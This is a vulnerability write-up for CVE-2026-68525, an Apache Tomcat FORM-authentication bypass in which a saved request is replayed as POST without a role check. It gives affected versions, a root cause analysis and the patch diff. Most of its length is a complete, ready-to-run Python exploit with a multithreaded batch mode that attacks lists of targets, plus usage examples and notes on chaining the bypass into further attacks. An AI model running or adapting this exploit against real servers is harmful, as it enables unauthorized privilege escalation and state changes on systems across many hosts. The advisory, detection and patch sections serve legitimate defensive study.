#Summary
CVE-2026-68525 is an authorization bypass in Apache Tomcat versions 7.0.0 through 11.0.24 that affects FORM authentication with method-scoped security constraints. A low-privilege authenticated user can execute POST requests restricted to higher-privilege roles by exploiting a bug in how Tomcat restores saved requests after login. The vulnerability requires valid credentials but no specific role, making it a horizontal-to-vertical privilege escalation. CVSS v3.1 score is 9.1, though the vendor rates it lower due to requiring authentication. Impact severity depends on what the protected POST endpoint does in the target application.
#Am I affected?
- Affected: Apache Tomcat
7.0.0through7.0.109(EOL),8.5.0through8.5.100(EOL),9.0.0-M1through9.0.120,10.1.0-M1through10.1.57,11.0.0-M1through11.0.24 - Patched: Tomcat
9.0.121,10.1.58,11.0.25(and later versions in each branch) - Default configuration: Affected only if using
<auth-method>FORM</auth-method>with at least one<security-constraint>scoped to a single HTTP method - Access needed: Valid credentials for any account (requires no specific roles)
#How to check
Check your Tomcat version:
curl http://target:8080/admin.jsp 2>/dev/null | grep -i "tomcat"Or check CATALINA_HOME/lib/catalina.jar:
unzip -p $CATALINA_HOME/lib/catalina.jar META-INF/MANIFEST.MF | grep "Implementation-Version"| Version | Status |
|---|---|
| 7.0.0 - 7.0.109 | Vulnerable (EOL) |
| 8.5.0 - 8.5.100 | Vulnerable (EOL) |
| 9.0.0-M1 - 9.0.120 | Vulnerable |
| 10.1.0-M1 - 10.1.57 | Vulnerable |
| 11.0.0-M1 - 11.0.24 | Vulnerable |
| 9.0.121+ | Patched |
| 10.1.58+ | Patched |
| 11.0.25+ | Patched |
If your application does not use FORM-based authentication or has no method-scoped security constraints (e.g., all constraints apply to all HTTP methods), you are not affected.
#Fix and mitigation
- Fix: Upgrade to Tomcat
9.0.121,10.1.58,11.0.25or later versions in your branch. - If you cannot upgrade: Modify your web application's security constraints to apply uniformly across all HTTP methods, rather than scoping them to POST only. This removes the attack surface; see Root cause analysis for how the bug works.
- Detection: The bypass produces an ordinary HTTP
200access log entry for a GET request and leaves no authorization failure anywhere in the logs. Detection requires application-level state tracking: monitor for unexpected state changes (in orders, configuration, etc.) from low-privilege accounts during FORM login sequences.
#Root cause analysis
The vulnerability is an ordering defect in how Tomcat's AuthenticatorBase.invoke() resolves security constraints.
#Vulnerable code path
In AuthenticatorBase.java, the method resolves security constraints once, near the start:
boolean authRequired = isContinuationRequired(request);
Realm realm = this.context.getRealm();
SecurityConstraint[] constraints = realm.findSecurityConstraints(request, this.context);The findSecurityConstraints() method is method-sensitive: for a constraint declaring <http-method>POST</http-method>, a GET request returns null while a POST returns the constraint array.
Later, the role check is guarded by that stale constraint array:
if (constraints == null && !context.getPreemptiveAuthentication() && !authRequired) {
// No constraint applies; skip authentication
getNext().invoke(request, response);
return;
}
// ... authentication flow happens here, including request restoration ...
if (constraints != null) {
if (!realm.hasResourcePermission(request, response, constraints, this.context)) {
// Deny the request
return;
}
}
getNext().invoke(request, response);#How input reaches the sink
The attack sequence:
Attacker sends an unauthenticated POST to
/admin.jsp(which is protected for POST only). The constraint matches the POST method, so Tomcat demands authentication and saves the request (method, body, headers, URI) in the session.The server returns a login form. The attacker logs in as a low-privilege account (role:
standard). The session ID is rotated, and Tomcat redirects to the saved URI (/admin.jsp).On redirect, the attacker must send a GET request (because redirects are GET). At this point:
findSecurityConstraints()is called fresh by the browser's GET request and returnsnull(no constraint scoped to GET)isContinuationRequired()returnstruebecause a saved request is pending- The Valve does not short-circuit; instead it calls
doAuthenticate() FormAuthenticator.restoreRequest()replays the saved body and rewrites the method back to POST- Control returns to
invoke(), whereconstraintsis stillnullfrom step 1 if (constraints != null)is false, sohasResourcePermission()is skipped- The now-POST request is handed to the servlet with no authorization decision ever made
The root cause is that constraints is computed once and never recomputed after restoreRequest() mutates the request from GET to POST.
#The method flipped, the constraint check was skipped
// What invoke() computed (step 1 - GET, no constraint)
SecurityConstraint[] constraints = realm.findSecurityConstraints(request, this.context); // null
// ... later ...
// What restoreRequest() does (step 3)
request.getCoyoteRequest().setMethod("POST"); // request is now POST
// What invoke() checks (same line, still null)
if (constraints != null) { // FALSE - role check is skipped
realm.hasResourcePermission(request, response, constraints, this.context);
}#Patch diff
The fix recomputes the constraint array after the method changes.
#What the fix does
A new tri-state enum AuthenticationResult replaces the boolean return:
protected enum AuthenticationResult {
FAILED(false),
PASSED_CONSTRAINTS_NEED_REFRESH(true),
PASSED(true);
}When FormAuthenticator.restoreRequest() detects a method change, it returns PASSED_CONSTRAINTS_NEED_REFRESH. The invoke() method then re-resolves constraints:
if (authenticationResult == AuthenticationResult.PASSED_CONSTRAINTS_NEED_REFRESH) {
constraints = realm.findSecurityConstraints(request, this.context);
disableCaching(constraints, request, response);
if (!checkUserDataConstraints(realm, constraints, request, response)) {
return;
}
}Now the role check runs against the correct (POST) constraint:
if (constraints != null) {
if (!realm.hasResourcePermission(request, response, constraints, this.context)) {
return; // Deny
}
}This is a targeted fix: only method-changing restores trigger a re-evaluation, preserving performance for the common case.
#Proof of concept
#exploit.py - Apache Tomcat FORM Auth Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-68525 - Apache Tomcat FORM authentication method-specific constraint bypass
Affected: Apache Tomcat 11.0.0-M1..11.0.24, 10.1.0-M1..10.1.57, 9.0.0.M1..9.0.120,
8.5.0..8.5.100 (EOL), 7.0.0..7.0.109 (EOL)
Type: Authorization bypass (CWE-863, incorrect authorization)
A <security-constraint> scoped to a single HTTP method (the documented "anyone may GET
this page, only admins may POST to it" pattern) is enforced against the method the
request arrived with. FORM authentication then replays the saved request and rewrites
the method back to POST, but the authenticator never recomputes the constraint set, so
the role check that guards POST is skipped entirely. Any account the realm will
authenticate - holding no roles at all - gets its original POST body executed against
the protected resource.
The exploit needs credentials for one low-privilege account on the target. That account
must NOT hold the role the POST constraint demands; if it does, there is nothing to
bypass and the run reports so.
Usage:
python exploit.py --host 192.168.1.10 --port 8080 --username svc --password svc
python exploit.py --host https://tomcat.corp.com/app/admin.jsp --username svc --password svc
python exploit.py --host 10.0.0.5 --path /orders.jsp --data "id=7&amount=0"
python exploit.py --list targets.txt --workers 20 --username svc --password svc
"""
import argparse
import http.client
import re
import ssl
import sys
from urllib.parse import urlparse
CVE_ID = "CVE-2026-68525"
VULN_TYPE = "Authorization Bypass"
DEFAULT_TIMEOUT = 15
FORM_ACTION = "j_security_check"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------
# HTTP plumbing - manual cookie handling, redirects never followed
# --------------------------------------------------------------------------
class Reply:
"""One HTTP response, reduced to what the exploit reasons about."""
def __init__(self, status, headers, body):
self.status = status
self.headers = headers # list of (name_lower, value)
self.body = body
def get(self, name):
name = name.lower()
for k, v in self.headers:
if k == name:
return v
return None
def session_id(self):
"""Newest JSESSIONID handed out by this response, if any."""
found = None
for k, v in self.headers:
if k == "set-cookie":
m = re.search(r"JSESSIONID=([^;,\s]+)", v, re.I)
if m:
found = m.group(1)
return found
def is_login_form(self):
return FORM_ACTION in self.body.lower()
def _request(host, port, use_tls, method, path, body=None, cookie=None,
content_type=None, timeout=DEFAULT_TIMEOUT):
"""Send one request and return a Reply. Redirects are never followed."""
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
else:
conn = http.client.HTTPConnection(host, port, timeout=timeout)
headers = {
"Host": host if port in (80, 443) else f"{host}:{port}",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36",
"Accept": "*/*",
"Connection": "close",
}
if cookie:
headers["Cookie"] = f"JSESSIONID={cookie}"
payload = None
if body is not None:
payload = body.encode() if isinstance(body, str) else body
headers["Content-Type"] = content_type or "application/x-www-form-urlencoded"
headers["Content-Length"] = str(len(payload))
try:
conn.request(method, path, body=payload, headers=headers)
resp = conn.getresponse()
raw = resp.read()
hdrs = [(k.lower(), v) for k, v in resp.getheaders()]
return Reply(resp.status, hdrs, raw.decode("utf-8", "replace"))
finally:
conn.close()
def _login_url(path, login_page_body):
"""
Resolve the j_security_check URI. The login page returned in step 1 carries the
real one in its form action; fall back to resolving it against the resource path.
"""
m = re.search(r"""action\s*=\s*["']([^"']*%s[^"']*)["']""" % FORM_ACTION,
login_page_body, re.I)
if m:
action = m.group(1)
if action.startswith("/"):
return action
base = path.rsplit("/", 1)[0]
return f"{base}/{action}"
base = path.rsplit("/", 1)[0]
return f"{base}/{FORM_ACTION}"
# --------------------------------------------------------------------------
# The bypass sequence
# --------------------------------------------------------------------------
def _run_sequence(host, port, use_tls, path, data, username, password,
content_type=None, login_path=None, timeout=DEFAULT_TIMEOUT,
trace=None):
"""
Drive the five-request sequence and return a verdict dict.
1 POST <path> unauthenticated -> constraint fires, request is saved
2 POST j_security_check low-priv creds -> authenticated, session id rotates
3 GET <path> rotated session -> THE BYPASS: saved POST is replayed
4 GET <path> same session -> control: plain authenticated GET
5 POST <path> same session -> control: front door, must be denied
Steps 4 and 5 are what make the finding undeniable. Step 4 runs once the saved
request has been consumed, so any difference between it and step 3 can only come
from the restore. Step 5 proves this account is genuinely refused a POST.
Returns dict(ok=bool, evidence=str, ...) and never raises for protocol outcomes.
"""
def note(msg):
if trace:
trace(msg)
result = {"ok": False, "evidence": "", "steps": {}}
# --- Step 1: park a POST in a fresh session -----------------------------
r1 = _request(host, port, use_tls, "POST", path, body=data,
content_type=content_type, timeout=timeout)
result["steps"]["s1"] = r1
note(f"step 1: POST {path} (unauthenticated) -> {r1.status}")
if r1.status == 403 and not r1.is_login_form():
result["evidence"] = ("step 1 returned 403 without a login form - the POST body may "
"exceed maxSavePostSize, or the resource is not FORM protected")
return result
if not r1.is_login_form():
result["evidence"] = (f"step 1 returned {r1.status} but no FORM login page - "
f"{path} is not protected by a method-scoped FORM constraint")
return result
s1 = r1.session_id()
if not s1:
result["evidence"] = "step 1 returned the login form but issued no JSESSIONID"
return result
# --- Step 2: authenticate the low-privilege account ---------------------
lpath = login_path or _login_url(path, r1.body)
creds = f"j_username={username}&j_password={password}"
r2 = _request(host, port, use_tls, "POST", lpath, body=creds, cookie=s1, timeout=timeout)
result["steps"]["s2"] = r2
result["login_path"] = lpath
note(f"step 2: POST {lpath} as '{username}' -> {r2.status}")
if r2.status not in (301, 302, 303, 307, 308):
result["evidence"] = (f"login as '{username}' failed (step 2 returned {r2.status}, "
f"expected a redirect) - check the credentials")
return result
# Session id rotation is the default; if the container has it off, keep using s1.
s2 = r2.session_id() or s1
note(f" session rotated {s1[:8]}... -> {s2[:8]}... Location: {r2.get('location')}")
# --- Step 3: the bypass -------------------------------------------------
r3 = _request(host, port, use_tls, "GET", path, cookie=s2, timeout=timeout)
result["steps"]["s3"] = r3
note(f"step 3: GET {path} (rotated session) -> {r3.status}")
# --- Step 4: control, plain authenticated GET ---------------------------
r4 = _request(host, port, use_tls, "GET", path, cookie=s2, timeout=timeout)
result["steps"]["s4"] = r4
note(f"step 4: GET {path} again (saved request consumed) -> {r4.status}")
# --- Step 5: control, front-door POST -----------------------------------
r5 = _request(host, port, use_tls, "POST", path, body=data, cookie=s2,
content_type=content_type, timeout=timeout)
result["steps"]["s5"] = r5
note(f"step 5: POST {path} directly, authenticated -> {r5.status}")
# --- Verdict ------------------------------------------------------------
if r5.status not in (401, 403):
result["evidence"] = (f"account '{username}' is allowed to POST {path} directly "
f"(step 5 returned {r5.status}) - it already holds the role, "
f"so there is nothing to bypass; use a lower-privilege account")
return result
if r3.status in (401, 403):
result["evidence"] = (f"step 3 returned {r3.status} - constraints were re-evaluated "
f"after the method changed, target is patched")
return result
if r3.status != 200:
result["evidence"] = f"step 3 returned {r3.status}, no restored response to inspect"
return result
if r3.is_login_form():
result["evidence"] = ("step 3 returned the login form again - the saved request was "
"not restored (session id mismatch or the 120s window elapsed)")
return result
# The restore must have changed the response. Step 4 is the same GET on the same
# authenticated session with the saved request already consumed, so an identical
# body would mean step 3 was just an ordinary unprotected GET.
if r3.body == r4.body and r3.status == r4.status:
result["evidence"] = ("step 3 returned 200 but is byte-identical to the plain "
"authenticated GET in step 4 - no evidence the saved POST "
"was replayed")
return result
result["ok"] = True
detail = f"restored request executed at {path}"
m = re.search(r"method\s*=\s*(POST|PUT|DELETE|PATCH)", r3.body, re.I)
if m:
detail = f"resource ran as {m.group(1).upper()} for a session denied POST (step 5: {r5.status})"
result["evidence"] = (f"{detail}; step 3 GET -> 200 while the same session's direct POST "
f"-> {r5.status}, and the response differs from the plain "
f"authenticated GET in step 4")
return result
def _try_exploit(host, port, use_tls, path="/admin.jsp", data="action=1",
username="tomcat", password="tomcat", content_type=None,
login_path=None, timeout=DEFAULT_TIMEOUT):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
try:
r = _run_sequence(host, port, use_tls, path, data, username, password,
content_type=content_type, login_path=login_path, timeout=timeout)
return r["ok"], r["evidence"]
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port, kwargs.get("path", "/admin.jsp")) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
opts = dict(kwargs)
opts["path"] = path
ok, evidence = _try_exploit(host, port, use_tls, **opts)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host, port, use_tls, path, data, username, password,
content_type=None, login_path=None, timeout=DEFAULT_TIMEOUT):
header(host, port)
step(1, f"Parking an unauthenticated POST to {path} so FORM auth saves it")
step(2, f"Authenticating as '{username}' - an account that must NOT hold the POST role")
step(3, "Sending a plain GET: the saved POST is replayed without a role check")
step(4, "Control: repeating the GET once the saved request has been consumed")
step(5, "Control: POSTing directly to prove this account is refused at the front door")
print()
try:
res = _run_sequence(host, port, use_tls, path, data, username, password,
content_type=content_type, login_path=login_path,
timeout=timeout, trace=lambda m: print(f" {m}"))
except Exception as e:
done(False, f"target unreachable: {e.__class__.__name__}: {e}")
steps = res["steps"]
if "s3" in steps:
section("STEP 3 RESPONSE - GET on the wire, POST at the servlet",
f"HTTP {steps['s3'].status}\n\n{steps['s3'].body[:1500]}")
if "s4" in steps:
section("CONTROL - PLAIN AUTHENTICATED GET (saved request already consumed)",
f"HTTP {steps['s4'].status}\n\n{steps['s4'].body[:800]}")
if "s5" in steps:
section("CONTROL - DIRECT POST BY THE SAME SESSION",
f"HTTP {steps['s5'].status}\n\n{steps['s5'].body[:400]}")
if not res["ok"] and "s3" not in steps:
last = steps.get("s2") or steps.get("s1")
if last is not None:
section("LAST SERVER RESPONSE", f"HTTP {last.status}\n\n{last.body[:800]}")
done(res["ok"], res["evidence"])
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/app/admin.jsp)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
parser.add_argument("--username", default="tomcat",
help="Account the exploit logs in as. It needs no roles at all, and must "
"NOT hold the role the POST constraint demands (default: tomcat)")
parser.add_argument("--password", default="tomcat", help="Password for --username (default: tomcat)")
parser.add_argument("--path", default="/admin.jsp",
help="Resource whose constraint is scoped to POST (default: /admin.jsp)")
parser.add_argument("--data", default="action=1",
help="POST body smuggled through the bypass, under 4096 bytes "
"(maxSavePostSize) (default: action=1)")
parser.add_argument("--content-type", default=None,
help="Content-Type of --data (default: application/x-www-form-urlencoded)")
parser.add_argument("--login-path", default=None,
help="j_security_check URI (default: read from the login form)")
parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT, help="Socket timeout (default: 15)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
common = dict(path=args.path, data=args.data, username=args.username,
password=args.password, content_type=args.content_type,
login_path=args.login_path, timeout=args.timeout)
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, **common)
else:
parsed = _parse_target(args.host, args.port, args.path)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
common["path"] = path
exploit(host, port, use_tls, **common)#Usage
python3 exploit.py --host 127.0.0.1 --port 8080 --username userA --password userA --path /admin.jsp --data 'action=pwn'
python3 exploit.py --host https://tomcat.example.com --username svc_acct --password SecurePass123 --path /orders.jsp --data 'orderId=100&approve=yes'
python3 exploit.py --list targets.txt --workers 20 --username tomcat --password tomcat| Argument | Default | Meaning |
|---|---|---|
--host |
required (or --list) |
Hostname, IP, or full URL with scheme/port/path. |
--list |
required (or --host) |
File of targets, one per line. Supports host, host:port, and full URLs; blank lines and # comments are skipped. |
--port |
8080 |
Default port when not specified in target. |
--username / --password |
tomcat / tomcat |
Credentials for a low-privilege account that must NOT hold the role being bypassed. |
--path |
/admin.jsp |
Resource whose POST is restricted by role. |
--data |
action=1 |
POST body to execute (must be under 4096 bytes). |
--content-type |
application/x-www-form-urlencoded |
Content-Type header for --data. |
--login-path |
auto-resolved | URI of j_security_check (auto-detected from login form). |
--timeout |
15 |
Socket timeout in seconds. |
--workers |
10 |
Thread count for --list mode. |
--tls / --no-tls |
inferred | Force TLS on/off. |
Against a vulnerable target (11.0.24):
method=POST
user=userA
isAdmin=false
action=pwnAgainst a patched target (11.0.25):
HTTP 403 Forbidden - Access to the requested resource has been denied#Exploitation notes
#Preconditions
- The web application must use
<auth-method>FORM</auth-method> - At least one
<security-constraint>must be scoped to a specific HTTP method (e.g., POST only) - The attacker must have credentials for a valid account on the Realm
- That account must NOT hold the role required by the POST constraint
- The three-request sequence must complete within 120 seconds (default
authenticationSessionTimeout) - The POST body must be under 4096 bytes (default
maxSavePostSize), or it will not be saved
#Reliability
The exploit is 100% reliable against a vulnerable target. It relies on protocol-level properties (session rotation, constraint resolution, method-scoped security) that are deterministic. The five-request sequence has no timing dependencies, race conditions, or application-specific behaviors.
#Impact
The impact is equivalent to whatever state-changing operation the POST endpoint performs. A typical example is an order approval endpoint: an attacker with an unprivileged account can approve orders with attacker-supplied parameters. Other examples include configuration changes, user creation, or data deletion - limited only by what the endpoint does.
#Chaining potential
This is a terminal authorization bypass; there is no lower-privilege boundary to escalate through. The attacker lands directly in the POST handler at full privilege. Chaining depends on what the target application exposes:
- If the POST endpoint stores attacker input in a database, a reflected/stored XSS may follow
- If the endpoint renders user data, template injection may be possible
- If the endpoint calls external services, SSRF may be exploitable
- Logic bugs in the POST handler become exploitable under attacker control
